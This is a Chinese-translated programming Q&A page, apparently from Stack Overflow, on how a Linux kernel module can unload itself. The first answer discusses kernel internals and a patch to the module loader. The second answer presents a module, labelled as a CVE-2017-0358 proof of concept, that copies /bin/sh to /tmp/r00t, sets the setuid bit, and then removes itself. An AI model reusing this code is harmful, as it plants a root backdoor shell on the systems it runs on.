我制作了一个简单的模块,可以在加载时打印GDT和IDT。完成工作后,不再需要它,可以卸载。但如果它返回一个负数以便停止加载,insmod
会抱怨,并在内核日志中记录一条错误消息。
内核模块如何正常卸载自己?
答案 0 :(得分:3)
据我所知,使用stock内核是不可能的(你可以修改模块加载器核心,如下所述,但这可能不是一件好事可以依赖)。
好的,我已经看过模块加载和卸载代码(kernel/module.c
)以及一些非常可疑的module_put_and_exit
用户。似乎没有内核模块可以做你想做的事情。所有这些都在模块的上下文中启动kthreads,然后在完成某些事情后杀死kthread(他们不会自动卸载模块)。
不幸的是,执行大部分模块卸载(free_module
)的函数是在kernel/module.c
内静态定义的。据我所知,没有导出的函数可以从模块中调用free_module
。我觉得可能有这样的原因(尝试从内部卸载模块会导致页面错误,因为包含模块代码的页面需要是释放)。虽然这可能是通过在阻止当前(无效)任务再次运行(或仅运行noreturn
)之后创建仅schedule
s do_exit
函数来解决的。
要问的另一点是:你确定要这样做吗?为什么不制作一个shell脚本来加载和卸载模块并在一天之内调用它?根据自己的喜好,自动卸载模块可能与天网有点太接近了。
编辑:我已经尝试了一下,如果你能修改模块加载器核心,我已经找到了一种方法。将此功能添加到kernel/module.c
,并对include/linux/module.h
进行必要的修改:
/* Removes a module in situ, from within the module itself. */
void __purge_module(struct module *mod) {
free_module(mod);
do_exit(0);
/* We should never be here. */
BUG();
}
EXPORT_SYMBOL(__purge_module);
使用__purge_module(THIS_MODULE)
调用此代码会卸载您的模块,并且不会导致页面错误(因为您不会返回模块的代码)。但是,我仍然不建议这样做。我做了一些简单的体积测试(我使用这个函数插入了一个模块〜10000次以查看是否有任何资源泄漏 - 据我所知,没有任何内容)。
答案 1 :(得分:1)
哦,你可以做到这一点:)
#include <linux/module.h>
MODULE_LICENSE("CC");
MODULE_AUTHOR("kristian erik hermansen <kristian.hermansen+CVE-2017-0358@gmail.com>");
MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");
int init_module(void) {
printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");
char *envp[] = { "HOME=/tmp", NULL };
char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
}
void cleanup_module(void) {
return 0;
printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading ...\n");
}